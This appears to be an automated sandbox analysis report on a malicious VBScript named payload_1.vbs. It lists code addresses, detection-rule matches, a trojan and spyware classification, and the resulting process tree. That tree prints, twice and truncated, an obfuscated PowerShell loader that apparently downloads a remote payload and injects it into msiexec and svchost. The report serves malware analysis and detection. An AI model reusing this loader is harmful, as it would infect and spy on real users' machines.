Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7CAAB4	12_3_00007DF45B7CAAB4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B730AD4	12_3_00007DF45B730AD4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6DF9C0	12_3_00007DF45B6DF9C0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7719B4	12_3_00007DF45B7719B4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B72395C	12_3_00007DF45B72395C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6EE970	12_3_00007DF45B6EE970
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B745824	12_3_00007DF45B745824
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BE774	12_3_00007DF45B7BE774
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7CDF6C	12_3_00007DF45B7CDF6C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6F0EF4	12_3_00007DF45B6F0EF4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B73CE48	12_3_00007DF45B73CE48
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B72ECF8	12_3_00007DF45B72ECF8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B73CD38	12_3_00007DF45B73CD38
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B72CC84	12_3_00007DF45B72CC84
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BDC94	12_3_00007DF45B7BDC94
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B723CE8	12_3_00007DF45B723CE8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6FCBE8	12_3_00007DF45B6FCBE8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BBC68	12_3_00007DF45B7BBC68
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7ADBC8	12_3_00007DF45B7ADBC8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B726BE4	12_3_00007DF45B726BE4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7252F4	12_3_00007DF45B7252F4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7C32F8	12_3_00007DF45B7C32F8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B73D2A0	12_3_00007DF45B73D2A0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6E21F0	12_3_00007DF45B6E21F0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B74D248	12_3_00007DF45B74D248
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BA19C	12_3_00007DF45B7BA19C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6F10BC	12_3_00007DF45B6F10BC
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BE0B0	12_3_00007DF45B7BE0B0
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6D5F9C	12_3_00007DF45B6D5F9C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B72FF78	12_3_00007DF45B72FF78
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B6D1058	12_3_00007DF45B6D1058
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B75071C	12_3_00007DF45B75071C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BD75C	12_3_00007DF45B7BD75C
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7BE5F4	12_3_00007DF45B7BE5F4
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B725640	12_3_00007DF45B725640
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7B7578	12_3_00007DF45B7B7578
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7CA598	12_3_00007DF45B7CA598
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7413BC	12_3_00007DF45B7413BC
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B77A3C8	12_3_00007DF45B77A3C8
Source: C:\Windows\System32\svchost.exe	Code function: 12_3_00007DF45B7B23D8	12_3_00007DF45B7B23D8
Source: C:\Windows\System32\svchost.exe	Code function: 12_2_0000013E03300C70	12_2_0000013E03300C70
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_0000026150A61F40	16_3_0000026150A61F40
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_0000026150A6170E	16_3_0000026150A6170E
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_0000026150A62718	16_3_0000026150A62718
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_0000026150A6027B	16_3_0000026150A6027B
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_0000026150A63660	16_3_0000026150A63660
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_00007DF488D8392C	16_3_00007DF488D8392C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_00007DF488D82204	16_3_00007DF488D82204
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_3_00007DF488D84EFC	16_3_00007DF488D84EFC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFD262C	16_2_000002614EFD262C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFDC2D0	16_2_000002614EFDC2D0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE3218	16_2_000002614EFE3218
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFEFD3C	16_2_000002614EFEFD3C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F011564	16_2_000002614F011564
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F005D84	16_2_000002614F005D84
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF74EC	16_2_000002614EFF74EC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F009DA8	16_2_000002614F009DA8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFD14D0	16_2_000002614EFD14D0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F0055BC	16_2_000002614F0055BC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F000C4C	16_2_000002614F000C4C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFEC5D8	16_2_000002614EFEC5D8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00F4B8	16_2_000002614F00F4B8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE7580	16_2_000002614EFE7580
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFEEABC	16_2_000002614EFEEABC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00D3C8	16_2_000002614F00D3C8
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F016C08	16_2_000002614F016C08
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F010A44	16_2_000002614F010A44
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFEE404	16_2_000002614EFEE404
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00F158	16_2_000002614F00F158
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00F9A4	16_2_000002614F00F9A4
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF0898	16_2_000002614EFF0898
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00420C	16_2_000002614F00420C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF7868	16_2_000002614EFF7868
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F014221	16_2_000002614F014221
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F005224	16_2_000002614F005224
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F011048	16_2_000002614F011048
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE7234	16_2_000002614EFE7234
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F0050A4	16_2_000002614F0050A4
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F0060EC	16_2_000002614F0060EC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F010114	16_2_000002614F010114
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F004744	16_2_000002614F004744
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFED730	16_2_000002614EFED730
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00AFF0	16_2_000002614F00AFF0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF8E88	16_2_000002614EFF8E88
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF4678	16_2_000002614EFF4678
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFECE70	16_2_000002614EFECE70
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFFE028	16_2_000002614EFFE028
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFF7E58	16_2_000002614EFF7E58
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614F00669C	16_2_000002614F00669C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_000002614EFE5FCC	16_2_000002614EFE5FCC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488D9F048	16_2_00007DF488D9F048
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA27AC	16_2_00007DF488DA27AC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA152C	16_2_00007DF488DA152C
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488D9F8E0	16_2_00007DF488D9F8E0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA9C74	16_2_00007DF488DA9C74
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA01A0	16_2_00007DF488DA01A0
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA3308	16_2_00007DF488DA3308
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA0E74	16_2_00007DF488DA0E74
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DA728D	16_2_00007DF488DA728D
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DC9C18	16_2_00007DF488DC9C18
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DC7200	16_2_00007DF488DC7200
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DC8FDC	16_2_00007DF488DC8FDC
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DC8480	16_2_00007DF488DC8480
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Code function: 16_2_00007DF488DE22CC	16_2_00007DF488DE22CC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2A940	17_2_00000255E9C2A940
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C298F8	17_2_00000255E9C298F8
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C1C0BC	17_2_00000255E9C1C0BC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2287C	17_2_00000255E9C2287C
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2F84C	17_2_00000255E9C2F84C
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C293B4	17_2_00000255E9C293B4
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C32374	17_2_00000255E9C32374
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C33330	17_2_00000255E9C33330
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C29A78	17_2_00000255E9C29A78
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C28A60	17_2_00000255E9C28A60
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C34264	17_2_00000255E9C34264
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C1BD40	17_2_00000255E9C1BD40
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C254A0	17_2_00000255E9C254A0
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C17454	17_2_00000255E9C17454
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C33C60	17_2_00000255E9C33C60
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C32BC0	17_2_00000255E9C32BC0
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C34780	17_2_00000255E9C34780
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C3C788	17_2_00000255E9C3C788
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C28F98	17_2_00000255E9C28F98
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C41F28	17_2_00000255E9C41F28
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C18ECC	17_2_00000255E9C18ECC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C326D4	17_2_00000255E9C326D4
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C1D6DC	17_2_00000255E9C1D6DC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2AEF0	17_2_00000255E9C2AEF0
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C1C6AC	17_2_00000255E9C1C6AC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2E5FC	17_2_00000255E9C2E5FC
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C29E10	17_2_00000255E9C29E10
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C3C620	17_2_00000255E9C3C620
Source: C:\Windows\System32\dllhost.exe	Code function: 17_2_00000255E9C2A5D8	17_2_00000255E9C2A5D8

Source: payload_1.vbs

Initial sample: Strings found which are bigger than 50

Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4414
Source: unknown	Process created: Commandline size = 4414
Source: C:\Windows\System32\wscript.exe	Process created: Commandline size = 4414	Jump to behavior

Source: amsi32_984.amsi.csv, type: OTHER	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 7020, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution
Source: Process Memory Space: powershell.exe PID: 984, type: MEMORYSTR	Matched rule: INDICATOR_SUSPICIOUS_PWSH_B64Encoded_Concatenated_FileEXEC author = ditekSHen, description = Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution

Source: classification engine

Classification label: mal100.troj.spyw.expl.evad.winVBS@31/11@8/10

Source: C:\Windows\System32\svchost.exe

Code function: 12_3_00007DF45B6D286C CreateToolhelp32Snapshot,Thread32First,Thread32Next,CloseHandle,SuspendThread,

12_3_00007DF45B6D286C

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Roaming\Quaiches.Arg

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6720:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7000:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4320:120:WilError_03
Source: C:\Windows\SysWOW64\svchost.exe	Mutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4b44c99e-e2eb-c0a4be-89a68ae4061c}

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_05qb0tg5.ath.ps1

Source: unknown

Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\payload_1.vbs"

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=7020
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : select * from win32_process where ProcessId=984
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Windows\SysWOW64\svchost.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\payload_1.vbs"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber
Source: C:\Windows\System32\wbem\WMIC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" ";$Skonnert='Privatest';;$Unpresumed='Revisionsarbejdes';;$Printede='Anamniotic';;$Erkendtligheden100='Petrolic38';;$Dybvandet=$host.Name;function Mareschal($Fibrillation){If ($Dybvandet) {$Jewbush=2} for ($Ambiguitet=$Jewbush;;$Ambiguitet+=3){if(!$Fibrillation[$Ambiguitet]) { break };$Klkning+=$Fibrillation[$Ambiguitet];$Cebian207='Motorcades'}$Klkning}function Dilemmatically($brynskov){ .($Underporch) ($brynskov)}$Lanciferous211=Mareschal 'SvNH e TBl..nW';$Lanciferous211+=Mareschal 'EreS BKic Lu ISyeUnnstT';$Ballelsseres=Mareschal 'plMLeoP zGli ilDel ta U/';$Jibbing=Mareschal ' WT FlSisPa1 a2';$Underleverancer='Me[HjnLee bT B.OvS e,frK v Hi dcpse RPCooBeIHunintR.M HAFlnImaPag,gEMiR ,] t:Te:PrsoueL CR,uF,R i EtOvySuPMiRfoo Nt To JC ,O l B=T $ ijHeI mb B BI kNS g';$Ballelsseres+=Mareschal 'Fo5In. C0I S(S W niAnnTadH.o.hwFosdi UaNA.TE .1R,0Re.Lu0Pa;.r DW iUnn A6,r4C,;Pe LxSi6 U4No;Ud BnrM vCr:A 1Hi3 1 P.Sk0O.)Se ,hGRee c .kpeog / I2Pa0Ju1.r0Sk0Sy1Vg0W,1Tt UgFCriBer Bem fEkospxTi/Ep1Th3Sa1 M. k0';$Ambiguitetntrapsychical=Mareschal 'UbuJos AeUnrNa-isaLiG HeJeN t';$Partisk=Mareschal 'OrhSptNot Rp.nsUn: ./tr/.pwVawHywsp.b pAftfrs.a.ungHerEmo u CpS,/.daMebG /K iV nPhfOvaPunF.tPhrTiyGlm Eeudn b.Ocd,peMep Ulo.o .y a>AlhSptS t op.fsac: r/K,/BawCiwskwSu.lupSku En Se testt ,.C aBeeUp/D ad,bKo/M iRanfaf Uason Bt .runy mSue ,n F.Hads.eAnpR lOkoSvy';$Hovedets=Mareschal 'T,>';$Underporch=Mareschal 'N i Se KX';$Kuldioxidets='Strateg';$Debatsidens='\Quaiches.Arg';Dilemmatically (Mareschal 'B $P GLeL.poNeB aA BLSk:Hoa eUdRSsa T deSm=U $,aeP nCaVR :Raa PFrPTadBeA uT uaCe+Sk$ .d HEFaB ADeTTos,ri,kdSiEInNBiS');Dilemmatically (Mareschal 'ge$.eG lAfO .bKnaAwlRy:S c ,hPaAAfp RLN.eFuSS SJo= ,$R pC AD RE tU.iAgSPeK . os ePFol OiPaTDe( o$Reh aoFoVInELsd E,fT hsTr)');Dilemmatically (Mareschal $Underleverancer);$Partisk=$Chapless[0];$bibbed=(Mareschal ' S$ eGFoLTmOUdbAdaUnL O: ,PMyi.icD tPru fRBoIFezInaCoT CIWaORenA,s H=LenKlE .w A-Ovo tbSpjShE.vC,uTNi RySSoyS s ptUde ,m o.n $AnL,aAanNFecDiIC,f eETir nOSmuSus e2 o1 g1');Dilemmatically ($bibbed);Dilemmatically (Mareschal ' T$O,P ,iRuc,itMuuL rAbiS z Ia.etG.iHoo n s .AlH.ee laHedSae ,rNosu [V $PoA PmOvb WiT.g uGriKotRueSht.knV,tKorP aDapT sSpy Ic.dhFii fcJuaInl G]M.=r $UnB LaTilFolKneUnlSusF sM.e PrPieGas');$Instrumenter=Mareschal ' H$SnP istcLet euC.rFuiR z BaInt Di Ao inLss C.,rDS oLywSvnU l .oAba ydTaFU.iAblD,e ( I$PlPMya BrAntRai Gs ,kJ ,Ro$ReFa,o,er ,nPrjFleMidGeeInsSy)';$Fornjedes=$Aerate;Dilemmatically (Mareschal 'fr$BrgLaLPeOFrBunA ,l ,: rvL.I rSpU TS ISS EGlN TS,u=Fr(Idt ,e TsbetBo-pepAnA .TDoh f W$GofPioAfRBln JB E dKoEBrSEn)');while (!$Virussens) {Dilemmatically (Mareschal 'Ov$ ngEtl Co obS,aBal B: uAFinMaa lgMir DaB mFem aaFrtAdi sPreFo= $ iANimSlbAliC g KuH i FtV ePrtBanMudBrsGekR yT.d eFll rssue 2,o3 F6') ;Dilemmatically $Instrumenter;Dilemmatically (Marescha
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\msiexec.exe "C:\Windows\SysWOW64\msiexec.exe"
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\svchost.exe "C:\Windows\System32\svchost.exe"
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe --user-data-dir="C:\Users\user\AppData\Local\Temp\chrBC15.tmp" --explicitly-allowed-ports=8000 --disable-gpu --new-window "http://127.0.0.1:8000/1aeadd7b/4a1b3c1a"
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2512 --field-trial-handle=2488,i,17319326758939712999,7125565057770333449,262144 /prefetch:8
Source: C:\Windows\System32\svchost.exe	Process created: C:\Program Files\Windows Media Player\wmpnscfg.exe "C:\Program Files\Windows Media Player\wmpnscfg.exe"
Source: C:\Program Files\Windows Media Player\wmpnscfg.exe	Process created: C:\Windows\System32\dllhost.exe "C:\Windows\system32\dllhost.exe"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\wbem\WMIC.exe wmic diskdrive get caption,serialnumber	Jump to behavior
